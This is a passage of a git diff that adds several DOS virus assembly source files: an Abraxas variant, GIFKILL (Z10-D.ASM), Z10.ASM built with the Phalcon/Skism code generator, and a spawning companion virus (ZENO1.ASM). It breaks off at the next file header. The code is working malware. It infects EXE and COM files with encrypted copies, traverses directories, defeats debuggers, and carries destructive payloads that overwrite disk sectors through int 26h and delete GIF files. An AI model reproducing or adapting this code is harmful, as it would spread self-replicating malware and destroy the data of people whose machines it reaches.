DS:DX + int 21h + + mov ah,47h ; Get current directory + mov dl,0 ; Current drive + lea si,[bp+origdir] ; DS:SI->buffer + int 21h + mov byte ptr [bp+backslash],'\' ; Prepare for later CHDIR + + mov ax,3524h ; Get int 24 handler + int 21h ; to ES:BX + mov word ptr [bp+oldint24],bx; Save it + mov word ptr [bp+oldint24+2],es + mov ah,25h ; Set new int 24 handler + lea dx,[bp+offset int24] ; DS:DX->new handler + int 21h + push cs ; Restore ES + pop es ; 'cuz it was changed + +dir_scan: ; "dot dot" traversal + lea dx,[bp+exe_mask] + call infect_mask + lea dx,[bp+com_mask] + call infect_mask + mov ah,3bh ; change directory + lea dx,[bp+dot_dot] ; "cd .." + int 21h + jnc dir_scan ; go back for mo! + +done_infections: +jmp activate ; Always activate +exit_virus: + mov ax,2524h ; Restore int 24 handler + lds dx,[bp+offset oldint24] ; to original + int 21h + push cs + pop ds + + mov ah,3bh ; change directory + lea dx,[bp+origdir-1] ; original directory + int 21h + + mov ah,1ah ; restore DTA to default + mov dx,80h ; DTA in PSP + cmp sp,id-4 ; EXE or COM? + jz returnEXE +returnCOM: + int 21h + retn ; 100h is on stack +returnEXE: + pop es + pop ds + int 21h + mov ax,es ; AX = PSP segment + add ax,10h ; Adjust for PSP + add word ptr cs:[bp+jmpsave+2],ax + add ax,word ptr cs:[bp+stacksave+2] + cli ; Clear intrpts for stack manipulation + mov sp,word ptr cs:[bp+stacksave] + mov ss,ax + sti + db 0eah ; jmp ssss:oooo +jmpsave dd ? ; Original CS:IP +stacksave dd ? ; Original SS:SP +jmpsave2 db ? ; Actually four bytes +save3 db 0cdh,20h,0 ; First 3 bytes of COM file +stacksave2 dd ? + +activate: ; Conditions satisfied + mov cx,255 ; Nuke a few sectors + mov dx,1 ; Beginning with sector 1!!! + int 26h ; VIPERize them!!!! Rah!!! + jc error ; Uh oh. Problem. + add sp,2 ; Worked great. Clear the stack... +error: + inc al ; Get another drive! + cmp al,200 ; Have we fried 200 drives? + je done_phrying ; Yep. + jmp short activate ; Nope. +done_phrying: + cli ; Disable Interrupts + jmp exit_virus + +creator db '[Z10]',0 ; Mass Produced Code Generator +virusname db '[Abraxas-b]',0 +author db 'Abraxas',0 + +infect_mask: + mov ah,4eh ; find first file + mov cx,7 ; any attribute +findfirstnext: + int 21h ; DS:DX points to mask + jc exit_infect_mask ; No mo files found + + mov al,0h ; Open read only + call open + + mov ah,3fh ; Read file to buffer + lea dx,[bp+buffer] ; @ DS:DX + mov cx,1Ah ; 1Ah bytes + int 21h + + mov ah,3eh ; Close file + int 21h + + cmp word ptr [bp+buffer],'ZM'; EXE? + jz checkEXE ; Why yes, yes it is! +checkCOM: + mov ax,word ptr [bp+newDTA+35] ; Get tail of filename + cmp ax,'DN' ; Ends in ND? (commaND) + jz find_next + + mov ax,word ptr [bp+newDTA+1Ah] ; Filesize in DTA + cmp ax,12000 ; Is it too small? + jb find_next + + cmp ax,65535-(endheap-decrypt) ; Is it too large? + ja find_next + + mov bx,word ptr [bp+buffer+1]; get jmp location + add bx,heap-decrypt+3 ; Adjust for virus size + cmp ax,bx + je find_next ; already infected + jmp infect_com +checkEXE: cmp word ptr [bp+buffer+10h],id ; is it already infected? + jnz infect_exe +find_next: + mov ah,4fh ; find next file + jmp short findfirstnext +exit_infect_mask: ret + +infect_exe: + les ax, dword ptr [bp+buffer+14h] ; Save old entry point + mov word ptr [bp+jmpsave2], ax + mov word ptr [bp+jmpsave2+2], es + + les ax, dword ptr [bp+buffer+0Eh] ; Save old stack + mov word ptr [bp+stacksave2], es + mov word ptr [bp+stacksave2+2], ax + + mov ax, word ptr [bp+buffer + 8] ; Get header size + mov cl, 4 ; convert to bytes + shl ax, cl + xchg ax, bx + + les ax, [bp+offset newDTA+26]; Get file size + mov dx, es ; to DX:AX + push ax + push dx + + sub ax, bx ; Subtract header size from + sbb dx, 0 ; file size + + mov cx, 10h ; Convert to segment:offset + div cx ; form + + mov word ptr [bp+buffer+14h], dx ; New entry point + mov word ptr [bp+buffer+16h], ax + + mov word ptr [bp+buffer+0Eh], ax ; and stack + mov word ptr [bp+buffer+10h], id + + pop dx ; get file length + pop ax + + add ax, heap-decrypt ; add virus size + adc dx, 0 + + mov cl, 9 + push ax + shr ax, cl + ror dx, cl + stc + adc dx, ax + pop ax + and ah, 1 ; mod 512 + + mov word ptr [bp+buffer+4], dx ; new file size + mov word ptr [bp+buffer+2], ax + + push cs ; restore ES + pop es + + push word ptr [bp+buffer+14h] ; needed later + mov cx, 1ah + jmp short finishinfection +infect_com: ; ax = filesize + mov cx,3 + sub ax,cx + lea si,[bp+offset buffer] + lea di,[bp+offset save3] + movsw + movsb + mov byte ptr [si-3],0e9h + mov word ptr [si-2],ax + add ax,103h + push ax ; needed later +finishinfection: + push cx ; Save # bytes to write + xor cx,cx ; Clear attributes + call attributes ; Set file attributes + + mov al,2 + call open + + mov ah,40h ; Write to file + lea dx,[bp+buffer] ; Write from buffer + pop cx ; cx bytes + int 21h + + mov ax,4202h ; Move file pointer + xor cx,cx ; to end of file + cwd ; xor dx,dx + int 21h + +get_encrypt_value: + mov ah,2ch ; Get current time + int 21h ; dh=sec,dl=1/100 sec + or dx,dx ; Check if encryption value = 0 + jz get_encrypt_value ; Get another if it is + mov [bp+decrypt_value],dx ; Set new encryption value + lea di,[bp+code_store] + mov ax,5355h ; push bp,push bx + stosw + lea si,[bp+decrypt] ; Copy encryption function + mov cx,startencrypt-decrypt ; Bytes to move + push si ; Save for later use + push cx + rep movsb + + xor byte ptr [bp+decrypt_loop+2],028h ; flip between add/sub + + lea si,[bp+write] ; Copy writing function + mov cx,endwrite-write ; Bytes to move + rep movsb + pop cx + pop si + pop dx ; Entry point of virus + push di + push si + push cx + rep movsb ; Copy decryption function + mov ax,5b5dh ; pop bx,pop bp + stosw + mov al,0c3h ; retn + stosb + + add dx,offset startencrypt - offset decrypt ; Calculate new + mov word ptr [bp+patch_startencrypt+1],dx ; starting offset of + call code_store ; decryption + pop cx + pop di + pop si + rep movsb ; Restore decryption function + + mov ax,5701h ; Restore creation date/time + mov cx,word ptr [bp+newDTA+16h] ; time + mov dx,word ptr [bp+newDTA+18h] ; date + int 21h + + mov ah,3eh ; Close file + int 21h + + mov ch,0 + mov cl,byte ptr [bp+newDTA+15h] ; Restore original + call attributes ; attributes + + dec byte ptr [bp+numinfec] ; One mo infection + jnz mo_infections ; Not enough + pop ax ; remove call from stack + jmp done_infections +mo_infections: jmp find_next + +open: + mov ah,3dh + lea dx,[bp+newDTA+30] ; filename in DTA + int 21h + xchg ax,bx + ret + +attributes: + mov ax,4301h ; Set attributes to cx + lea dx,[bp+newDTA+30] ; filename in DTA + int 21h + ret + +write: + pop bx ; Restore file handle + pop bp ; Restore relativeness + mov ah,40h ; Write to file + lea dx,[bp+decrypt] ; Concatenate virus + mov cx,heap-decrypt ; # bytes to write + int 21h + push bx + push bp +endwrite: + +int24: ; New int 24h (error) handler + mov al,3 ; Fail call + iret ; Return control + +exe_mask db '*.exe',0 +com_mask db '*.com',0 +dot_dot db '..',0 +heap: ; Variables not in code +; The following code is the buffer for the write function +code_store: db (startencrypt-decrypt)*2+(endwrite-write)+1 dup (?) +oldint24 dd ? ; Storage for old int 24h handler +backslash db ? +origdir db 64 dup (?) ; Current directory buffer +newDTA db 43 dup (?) ; Temporary DTA +numinfec db ? ; Infections this run +buffer db 1ah dup (?) ; read buffer +endheap: ; End of virus +end entry_point diff --git a/z/Z10-D.ASM b/z/Z10-D.ASM new file mode 100755 index 0000000..1fbb1b8 --- /dev/null +++ b/z/Z10-D.ASM @@ -0,0 +1,392 @@ +; GIFKILL.ASM -- Seek and Destroy GIF +; Written by Dark Avenger + +virus_type equ 0 ; Appending Virus +is_encrypted equ 1 ; We're encrypted +tsr_virus equ 0 ; We're not TSR + +code segment byte public + assume cs:code,ds:code,es:code,ss:code + org 0100h + +main proc near + db 0E9h,00h,00h ; Near jump (for compatibility) +start: call find_offset ; Like a PUSH IP +find_offset: pop bp ; BP holds old IP + sub bp,offset find_offset ; Adjust for length of host + + call encrypt_decrypt ; Decrypt the virus + +start_of_code label near + + lea si,[bp + buffer] ; SI points to original start + mov di,0100h ; Push 0100h on to stack for + push di ; return to main program + movsw ; Copy the first two bytes + movsb ; Copy the third byte + + mov di,bp ; DI points to start of virus + + mov bp,sp ; BP points to stack + sub sp,128 ; Allocate 128 bytes on stack + + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address on stack + + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer on stack + int 021h + +stop_tracing: mov cx,09EBh + mov ax,0FE05h ; Acutal move, plus a HaLT + jmp $-2 + add ah,03Bh ; AH now equals 025h + jmp $-10 ; Execute the HaLT + lea bx,[di + null_vector] ; BX points to new routine + push cs ; Transfer CS into ES + pop es ; using a PUSH/POP + int 021h + mov al,1 ; Disable interrupt 1, too + int 021h + jmp short skip_null ; Hop over the loop +null_vector: jmp $ ; An infinite loop +skip_null: mov byte ptr [di + lock_keys + 1],130 ; Prefetch unchanged +lock_keys: mov al,128 ; Change here screws DEBUG + out 021h,al ; If tracing then lock keyboard + + mov cx,0003h ; Do 3 infections +search_loop: push cx ; Save CX + call search_files ; Find and infect a file + pop cx ; Restore CX + loop search_loop ; Repeat until CX is 0 + + call get_weekday + cmp ax,0005h ; Did the function return 5? + je strt00 ; If equal, do effect + jmp end00 ; Otherwise skip over it +strt00: lea dx,[di + data00] ; DX points to data + mov ah,04Eh ; DOS find first file function + mov cx,00100111b ; All file attributes valid + int 021h + jc erase_done ; Exit procedure on failure + mov ah,02Fh ; DOS get DTA function + int 021h + lea dx,[bx + 01Eh] ; DX points to filename in DTA +erase_loop: mov ah,041h ; DOS delete file function + int 021h + mov ah,03Ch ; DOS create file function + xor cx,cx ; No attributes for new file + int 021h + mov ah,041h ; DOS delete file function + int 021h + mov ah,04Fh ; DOS find next file function + int 021h + jnc erase_loop ; Repeat until no files left +erase_done: + +end00: +com_end: pop dx ; DX holds original DTA address + mov ah,01Ah ; DOS set DTA function + int 021h + + mov sp,bp ; Deallocate local buffer + + xor ax,ax ; + mov bx,ax ; + mov cx,ax ; + mov dx,ax ; Empty out the registers + mov si,ax ; + mov di,ax ; + mov bp,ax ; + + ret ; Return to original program +main endp + + + db 0FAh,045h,02Eh,0B3h,024h + +search_files proc near + push bp ; Save BP + mov bp,sp ; BP points to local buffer + sub sp,64 ; Allocate 64 bytes on stack + + mov ah,047h ; DOS get current dir function + xor dl,dl ; DL holds drive # (current) + lea si,[bp - 64] ; SI points to 64-byte buffer + int 021h + + mov ah,03Bh ; DOS change directory function + lea dx,[di + root] ; DX points to root directory + int 021h + + call traverse ; Start the traversal + + mov ah,03Bh ; DOS change directory function + lea dx,[bp - 64] ; DX points to old directory + int 021h + + mov sp,bp ; Restore old stack pointer + pop bp ; Restore BP + ret ; Return to caller + +root db "\",0 ; Root directory +search_files endp + +traverse proc near + push bp ; Save BP + + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address + + mov bp,sp ; BP points to local buffer + sub sp,128 ; Allocate 128 bytes on stack + + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer + int 021h + + mov ah,04Eh ; DOS find first function + mov cx,00010000b ; CX holds search attributes + lea dx,[di + all_files] ; DX points to "*.*" + int 021h + jc leave_traverse ; Leave if no files present + +check_dir: cmp byte ptr [bp - 107],16 ; Is the file a directory? + jne another_dir ; If not, try again + cmp byte ptr [bp - 98],'.' ; Did we get a "." or ".."? + je another_dir ;If so, keep going + + mov ah,03Bh ; DOS change directory function + lea dx,[bp - 98] ; DX points to new directory + int 021h + + call traverse ; Recursively call ourself + + pushf ; Save the flags + mov ah,03Bh ; DOS change directory function + lea dx,[di + up_dir] ; DX points to parent directory + int 021h + popf ; Restore the flags + + jnc done_searching ; If we infected then exit + +another_dir: mov ah,04Fh ; DOS find next function + int 021h + jnc check_dir ; If found check the file + +leave_traverse: + lea dx,[di + com_mask] ; DX points to "*.COM" + call find_files ; Try to infect a file +done_searching: mov sp,bp ; Restore old stack frame + mov ah,01Ah ; DOS set DTA function + pop dx ; Retrieve old DTA address + int 021h + + pop bp ; Restore BP + ret ; Return to caller + +up_dir db "..",0 ; Parent directory name +all_files db "*.*",0 ; Directories to search for +com_mask db "*.COM",0 ; Mask for all .COM files +traverse endp + + db 0A6h,03Ch,0B6h,078h,0CCh + + +find_files proc near + push bp ; Save BP + + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address + + mov bp,sp ; BP points to local buffer + sub sp,128 ; Allocate 128 bytes on stack + + push dx ; Save file mask + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer + int 021h + + mov ah,04Eh ; DOS find first file function + mov cx,00100111b ; CX holds all file attributes + pop dx ; Restore file mask +find_a_file: int 021h + jc done_finding ; Exit if no files found + call infect_file ; Infect the file! + jnc done_finding ; Exit if no error + mov ah,04Fh ; DOS find next file function + jmp short find_a_file ; Try finding another file + +done_finding: mov sp,bp ; Restore old stack frame + mov ah,01Ah ; DOS set DTA function + pop dx ; Retrieve old DTA address + int 021h + + pop bp ; Restore BP + ret ; Return to caller +find_files endp + + db 002h,0EFh,034h,048h,091h + +infect_file proc near + mov ah,02Fh ; DOS get DTA address function + int 021h + mov si,bx ; SI points to the DTA + + mov byte ptr [di + set_carry],0 ; Assume we'll fail + + cmp word ptr [si + 01Ah],(65279 - (finish - start)) + jbe size_ok ; If it's small enough continue + jmp infection_done ; Otherwise exit + +size_ok: mov ax,03D00h ; DOS open file function, r/o + lea dx,[si + 01Eh] ; DX points to file name + int 021h + xchg bx,ax ; BX holds file handle + + mov ah,03Fh ; DOS read from file function + mov cx,3 ; CX holds bytes to read (3) + lea dx,[di + buffer] ; DX points to buffer + int 021h + + mov ax,04202h ; DOS file seek function, EOF + cwd ; Zero DX _ Zero bytes from end + mov cx,dx ; Zero CX / + int 021h + + xchg dx,ax ; Faster than a PUSH AX + mov ah,03Eh ; DOS close file function + int 021h + xchg dx,ax ; Faster than a POP AX + + sub ax,finish - start + 3 ; Adjust AX for a valid jump + cmp word ptr [di + buffer + 1],ax ; Is there a JMP yet? + je infection_done ; If equal then exit + mov byte ptr [di + set_carry],1 ; Success -- the file is OK + add ax,finish - start ; Re-adjust to make the jump + mov word ptr [di + new_jump + 1],ax ; Construct jump + + mov ax,04301h ; DOS set file attrib. function + xor cx,cx ; Clear all attributes + lea dx,[si + 01Eh] ; DX points to victim's name + int 021h + + mov ax,03D02h ; DOS open file function, r/w + int 021h + xchg bx,ax ; BX holds file handle + + mov ah,040h ; DOS write to file function + mov cx,3 ; CX holds bytes to write (3) + lea dx,[di + new_jump] ; DX points to the jump we made + int 021h + + mov ax,04202h ; DOS file seek function, EOF + cwd ; Zero DX _ Zero bytes from end + mov cx,dx ; Zero CX / + int 021h + + push si ; Save SI through call + call encrypt_code ; Write an encrypted copy + pop si ; Restore SI + + mov ax,05701h ; DOS set file time function + mov cx,[si + 016h] ; CX holds old file time + mov dx,[si + 018h] ; DX holds old file date + int 021h + + mov ah,03Eh ; DOS close file function + int 021h + + mov ax,04301h ; DOS set file attrib. function + xor ch,ch ; Clear CH for file attribute + mov cl,[si + 015h] ; CX holds file's old attributes + lea dx,[si + 01Eh] ; DX points to victim's name + int 021h + +infection_done: cmp byte ptr [di + set_carry],1 ; Set carry flag if failed + ret ; Return to caller + +set_carry db ? ; Set-carry-on-exit flag +buffer db 090h,0CDh,020h ; Buffer to hold old three bytes +new_jump db 0E9h,?,? ; New jump to virus +infect_file endp + + + db 089h,043h,03Bh,054h,0AAh + +get_weekday proc near + mov ah,02Ah ; DOS get date function + int 021h + cbw ; Sign-extend AL into AX + ret ; Return to caller +get_weekday endp + +data00 db "*.GIF",0 + +vcl_marker db "[Z10]",0 ; VCL creation marker + + +note db "Bye Bye Mr.GIF",0 + db "You'll never find all the file" + db "s I have infected!",0 + +encrypt_code proc near + push bp ; Save BP + mov bp,di ; Use BP as pointer to code + lea si,[bp + encrypt_decrypt]; SI points to cipher routine + + xor ah,ah ; BIOS get time function + int 01Ah + mov word ptr [si + 9],dx ; Low word of timer is new key + + xor byte ptr [si + 1],8 ; + xor byte ptr [si + 8],1 ; Change all SIs to DIs + xor word ptr [si + 11],0101h; (and vice-versa) + + lea di,[bp + finish] ; Copy routine into heap + mov cx,finish - encrypt_decrypt - 1 ; All but final RET + push si ; Save SI for later + push cx ; Save CX for later + rep movsb ; Copy the bytes + + lea si,[bp + write_stuff] ; SI points to write stuff + mov cx,5 ; CX holds length of write + rep movsb ; Copy the bytes + + pop cx ; Restore CX + pop si ; Restore SI + inc cx ; Copy the RET also this time + rep movsb ; Copy the routine again + + mov ah,040h ; DOS write to file function + lea dx,[bp + start] ; DX points to virus + + lea si,[bp + finish] ; SI points to routine + call si ; Encrypt/write/decrypt + + mov di,bp ; DI points to virus again + pop bp ; Restore BP + ret ; Return to caller + +write_stuff: mov cx,finish - start ; Length of code + int 021h +encrypt_code endp + +end_of_code label near + +encrypt_decrypt proc near + lea si,[bp + start_of_code] ; SI points to code to decrypt + mov cx,(end_of_code - start_of_code) / 2 ; CX holds length +xor_loop: db 081h,034h,00h,00h ; XOR a word by the key + inc si ; Do the next word + inc si ; + loop xor_loop ; Loop until we're through + ret ; Return to caller +encrypt_decrypt endp +finish label near + +code ends + end main diff --git a/z/Z10.ASM b/z/Z10.ASM new file mode 100755 index 0000000..d8bfa9c --- /dev/null +++ b/z/Z10.ASM @@ -0,0 +1,375 @@ +; Z10.asm : [Z10] by Paul Ferguson +; Created wik the Phalcon/Skism Mass-Produced Code Generator +; from the configuration file skeleton.cfg + +.model tiny ; Handy directive +.code ; Virus code segment + org 100h ; COM file starting IP + +id = 'ZA' ; ID word for EXE infections +entry_point: db 0e9h,0,0 ; jmp decrypt + +decrypt: ; handles encryption and decryption +patch_startencrypt: + mov si,offset startencrypt ; start of decryption + mov di,(offset heap - offset startencrypt)/2 ; iterations +decrypt_loop: + db 2eh,81h,04h ; add word ptr cs:[si], xxxx +decrypt_value dw 0 ; initialised at zero for null effect + inc si ; calculate new decryption location + inc si + dec di ; If we are not done, then + jnz decrypt_loop ; decrypt mo' +startencrypt: + call next ; calculate delta offset +next: pop bp ; bp = IP next + sub bp,offset next ; bp = delta offset + + cmp sp,id ; COM or EXE? + je restoreEXE +restoreCOM: + lea si,[bp+save3] + mov di,100h + push di ; For later return + movsb + jmp short restoreEXIT +restoreEXE: + push ds + push es + push cs ; DS = CS + pop ds + push cs ; ES = CS + pop es + lea si,[bp+jmpsave2] + lea di,[bp+jmpsave] + movsw + movsw + movsw +restoreEXIT: + movsw + + mov byte ptr [bp+numinfec],2 ; reset infection counter + + mov ah,1Ah ; Set new DTA + lea dx,[bp+newDTA] ; new DTA @ DS:DX + int 21h + + mov ah,47h ; Get current directory + mov dl,0 ; Current drive + lea si,[bp+origdir] ; DS:SI->buffer + int 21h + mov byte ptr [bp+backslash],'\' ; Prepare for later CHDIR + + mov ax,3524h ; Get int 24 handler + int 21h ; to ES:BX + mov word ptr [bp+oldint24],bx; Save it + mov word ptr [bp+oldint24+2],es + mov ah,25h ; Set new int 24 handler + lea dx,[bp+offset int24] ; DS:DX->new handler + int 21h + push cs ; Restore ES + pop es ; 'cuz it was changed + +dir_scan: ; "dot dot" traversal + lea dx,[bp+exe_mask] + call infect_mask + lea dx,[bp+com_mask] + call infect_mask + mov ah,3bh ; change directory + lea dx,[bp+dot_dot] ; "cd .." + int 21h + jnc dir_scan ; go back for mo! + +done_infections: + mov ah,2ah ; Get current date + int 21h + cmp dh,10 ; Check month + jb exit_virus + cmp dl,30 ; Check date + jb exit_virus + cmp cx,1991 ; Check year + jb exit_virus + cmp al,0 ; Check date of week + jb exit_virus + + mov ah,2ch ; Get current time + int 21h + cmp dl,50 ; Check the percentage + jbe activate + +exit_virus: + mov ax,2524h ; Restore int 24 handler + lds dx,[bp+offset oldint24] ; to original + int 21h + push cs + pop ds + + mov ah,3bh ; change directory + lea dx,[bp+origdir-1] ; original directory + int 21h + + mov ah,1ah ; restore DTA to default + mov dx,80h ; DTA in PSP + cmp sp,id-4 ; EXE or COM? + jz returnEXE +returnCOM: + int 21h + retn ; 100h is on stack +returnEXE: + pop es + pop ds + int 21h + mov ax,es ; AX = PSP segment + add ax,10h ; Adjust for PSP + add word ptr cs:[bp+jmpsave+2],ax + add ax,word ptr cs:[bp+stacksave+2] + cli ; Clear intrpts for stack manipulation + mov sp,word ptr cs:[bp+stacksave] + mov ss,ax + sti + db 0eah ; jmp ssss:oooo +jmpsave dd ? ; Original CS:IP +stacksave dd ? ; Original SS:SP +jmpsave2 db ? ; Actually four bytes +save3 db 0cdh,20h,0 ; First 3 bytes of COM file +stacksave2 dd ? + +activate: ; Conditions satisfied + mov al,0002h ; First argument is 2 + mov cx,0080h ; Second argument is 16 + cli ; Disable interrupts (no Ctrl-C) + cwd ; Clear DX (start with sector 0) + int 026h ; Remove the semi-colon + sti ; Restore interrupts + mov ax,04C00h ; DOS terminate function + int 021h + jmp exit_virus + +creator db '[PF]',0 ; Mass Produced Code Generator +virusname db '[Z10]',0 +author db 'Paul Ferguson',0 + +infect_mask: + mov ah,4eh ; find first file + mov cx,7 ; any attribute +findfirstnext: + int 21h ; DS:DX points to mask + jc exit_infect_mask ; No mo files found + + mov al,0h ; Open read only + call open + + mov ah,3fh ; Read file to buffer + lea dx,[bp+buffer] ; @ DS:DX + mov cx,1Ah ; 1Ah bytes + int 21h + + mov ah,3eh ; Close file + int 21h + + cmp word ptr [bp+buffer],'ZM'; EXE? + jz checkEXE ; Why yes, yes it is! +checkCOM: + mov ax,word ptr [bp+newDTA+35] ; Get tail of filename + cmp ax,'DN' ; Ends in ND? (commaND) + jz find_next + + mov ax,word ptr [bp+newDTA+1Ah] ; Filesize in DTA + cmp ax,13000 ; Is it too small? + jb find_next + + cmp ax,65535-(endheap-decrypt) ; Is it too large? + ja find_next + + mov bx,word ptr [bp+buffer+1]; get jmp location + add bx,heap-decrypt+3 ; Adjust for virus size + cmp ax,bx + je find_next ; already infected + jmp infect_com +checkEXE: cmp word ptr [bp+buffer+10h],id ; is it already infected? + jnz infect_exe +find_next: + mov ah,4fh ; find next file + jmp short findfirstnext +exit_infect_mask: ret + +infect_exe: + les ax, dword ptr [bp+buffer+14h] ; Save old entry point + mov word ptr [bp+jmpsave2], ax + mov word ptr [bp+jmpsave2+2], es + + les ax, dword ptr [bp+buffer+0Eh] ; Save old stack + mov word ptr [bp+stacksave2], es + mov word ptr [bp+stacksave2+2], ax + + mov ax, word ptr [bp+buffer + 8] ; Get header size + mov cl, 4 ; convert to bytes + shl ax, cl + xchg ax, bx + + les ax, [bp+offset newDTA+26]; Get file size + mov dx, es ; to DX:AX + push ax + push dx + + sub ax, bx ; Subtract header size from + sbb dx, 0 ; file size + + mov cx, 10h ; Convert to segment:offset + div cx ; form + + mov word ptr [bp+buffer+14h], dx ; New entry point + mov word ptr [bp+buffer+16h], ax + + mov word ptr [bp+buffer+0Eh], ax ; and stack + mov word ptr [bp+buffer+10h], id + + pop dx ; get file length + pop ax + + add ax, heap-decrypt ; add virus size + adc dx, 0 + + mov cl, 9 + push ax + shr ax, cl + ror dx, cl + stc + adc dx, ax + pop ax + and ah, 1 ; mod 512 + + mov word ptr [bp+buffer+4], dx ; new file size + mov word ptr [bp+buffer+2], ax + + push cs ; restore ES + pop es + + push word ptr [bp+buffer+14h] ; needed later + mov cx, 1ah + jmp short finishinfection +infect_com: ; ax = filesize + mov cx,3 + sub ax,cx + lea si,[bp+offset buffer] + lea di,[bp+offset save3] + movsw + movsb + mov byte ptr [si-3],0e9h + mov word ptr [si-2],ax + add ax,103h + push ax ; needed later +finishinfection: + push cx ; Save # bytes to write + xor cx,cx ; Clear attributes + call attributes ; Set file attributes + + mov al,2 + call open + + mov ah,40h ; Write to file + lea dx,[bp+buffer] ; Write from buffer + pop cx ; cx bytes + int 21h + + mov ax,4202h ; Move file pointer + xor cx,cx ; to end of file + cwd ; xor dx,dx + int 21h + + mov ah,2ch ; Get current time + int 21h ; dh=sec,dl=1/100 sec + mov [bp+decrypt_value],dx ; Set new encryption value + lea di,[bp+code_store] + mov ax,5355h ; push bp,push bx + stosw + lea si,[bp+decrypt] ; Copy encryption function + mov cx,startencrypt-decrypt ; Bytes to move + push si ; Save for later use + push cx + rep movsb + + xor byte ptr [bp+decrypt_loop+2],028h ; flip between add/sub + + lea si,[bp+write] ; Copy writing function + mov cx,endwrite-write ; Bytes to move + rep movsb + pop cx + pop si + pop dx ; Entry point of virus + push di + push si + push cx + rep movsb ; Copy decryption function + mov ax,5b5dh ; pop bx,pop bp + stosw + mov al,0c3h ; retn + stosb + + add dx,offset startencrypt - offset decrypt ; Calculate new + mov word ptr [bp+patch_startencrypt+1],dx ; starting offset of + call code_store ; decryption + pop cx + pop di + pop si + rep movsb ; Restore decryption function + + mov ax,5701h ; Restore creation date/time + mov cx,word ptr [bp+newDTA+16h] ; time + mov dx,word ptr [bp+newDTA+18h] ; date + int 21h + + mov ah,3eh ; Close file + int 21h + + mov ch,0 + mov cl,byte ptr [bp+newDTA+15h] ; Restore original + call attributes ; attributes + + dec byte ptr [bp+numinfec] ; One mo infection + jnz mo_infections ; Not enough + pop ax ; remove call from stack + jmp done_infections +mo_infections: jmp find_next + +open: + mov ah,3dh + lea dx,[bp+newDTA+30] ; filename in DTA + int 21h + xchg ax,bx + ret + +attributes: + mov ax,4301h ; Set attributes to cx + lea dx,[bp+newDTA+30] ; filename in DTA + int 21h + ret + +write: + pop bx ; Restore file handle + pop bp ; Restore relativeness + mov ah,40h ; Write to file + lea dx,[bp+decrypt] ; Concatenate virus + mov cx,heap-decrypt ; # bytes to write + int 21h + push bx + push bp +endwrite: + +int24: ; New int 24h (error) handler + mov al,3 ; Fail call + iret ; Return control + +exe_mask db '*.exe',0 +com_mask db '*.com',0 +dot_dot db '..',0 +heap: ; Variables not in code +code_store: db (startencrypt-decrypt)*2+(endwrite-write)+1 dup (?) +oldint24 dd ? ; Storage for old int 24h handler +backslash db ? +origdir db 64 dup (?) ; Current directory buffer +newDTA db 43 dup (?) ; Temporary DTA +numinfec db ? ; Infections this run +buffer db 1ah dup (?) ; read buffer +endheap: ; End of virus +end entry_point diff --git a/z/ZENO1.ASM b/z/ZENO1.ASM new file mode 100755 index 0000000..e6fafcc --- /dev/null +++ b/z/ZENO1.ASM @@ -0,0 +1,174 @@ +;NON-RESIDENT SPAWNER + +; I threw this thing together in less than an hour and haven't looked +; at it since so yes, I know it needs real work. Mangle and change as +; you please. The original goal was to create the smallest spawner but +; I got bored with the whole thing. Some of the code was taken from +; the source code to Directory Magic by pcmag. Have phun.... + + + + + +CSEG SEGMENT + ASSUME CS:CSEG,DS:NOTHING + + ORG 100H ;Beginning for .COM programs + +START: JMP MY_BEGIN ;Initialization code is at end + + +wild DB "*.EXE",0 +file_Ext DB "COM",0 +file_found DB 12 DUP(' '), 0 +file_create DB 12 DUP(' '), 0 +search_attrib DW 17H +num_infect dw 0 + +my_cmd: +Cmd_len db 13 +file_clone db 12 DUP (' '), 0 + + ASSUME CS:CSEG, DS:CSEG, ES:NOTHING + +;------------------------------------------------------------------; +Prepare_command: + cld + mov di,OFFSET file_clone + mov al,0 + mov cx,12 + repne scasb ; find the end of string \0 + + mov al,0Dh ; + stosb ; replace \0 with a + + mov ax,12 ;store length of the command + sub ax,cx + mov cmd_len, al + ret + +;------------------------------------------------------------------; +Store_name: + + MOV DI,OFFSET file_found ;Point to buffer. + MOV SI,158 + MOV CX,12 + REP MOVSB + + MOV DI,OFFSET file_create ;Point to buffer. + MOV SI,158 + MOV CX,12 + REP MOVSB + + cld + mov di,OFFSET file_create + mov al,'.' + mov cx,9 + repne scasb ;find the '.' + + mov si,OFFSET file_ext + mov cx,3 + rep movsb ;replace the .EXE with .COM + + ret + + +;------------------------------------------------------------------; +;Does the file exist? + +Check_file: + mov dx,OFFSET file_create + mov cx,0 + mov ax,3d00h ; Open file read only + int 21h + +Chk_done: + ret + +;------------------------------------------------------------------; +Infect_file: +;Create file + mov dx,OFFSET file_create + mov cx,0 + mov ah,3ch + int 21h + jc EXIT + +;Write to file + mov bx,ax + mov cx,(OFFSET END_OF_CODE - OFFSET START) + mov dx,OFFSET START + mov ah,40h + int 21h + +;Close file + mov ah,3eh ; ASSUMES bx still has file handle + int 21h + +;Change attributes + mov dx,OFFSET file_create + mov cx,3 ;(1) read only, (2) hidden, (4) system + mov ax,4301h + int 21h + + ret + +;------------------------------------------------------------------; +; Read all the directory filenames and store as records in buffer. ; +;------------------------------------------------------------------; + +MY_BEGIN: + mov sp,offset STACK_HERE ;move stack down + mov bx,sp + add bx,15 + mov cl,4 + shr bx,cl + mov ah,4ah ;deallocate rest of memory + int 21h + + MOV DI,OFFSET file_clone ;Point to buffer. + MOV SI,OFFSET file_found + MOV CX,12 + REP MOVSB + +READ_DIR: MOV DX,OFFSET wild + MOV CX,search_attrib + + MOV AH,4EH ; This finds the first matching file. + INT 21H + + JC EXIT ;If empty directory, exit. + +Do_file: + call Store_name + + call Check_file + jnc seek_another ; CF = 0, shadow already there... skip it + + call Infect_file + jmp Exit + +seek_another: + +find_next: + mov ah,4fh + int 21h + jmp Do_file + +EXIT: + +;Run the original program + call Prepare_command + mov si, OFFSET my_cmd + int 2Eh ;Pass command to command + ; interpreter for execution +;Exit to DOS + MOV AX,4C00H + INT 21H + +END_OF_CODE = $ + +STACK_HERE EQU END_OF_CODE + 512 + +CSEG ENDS + END START diff --git a/z/ZEP.ASM b/z/ZEP.ASM new file mode 100755 index 0000000..d5369bc --- 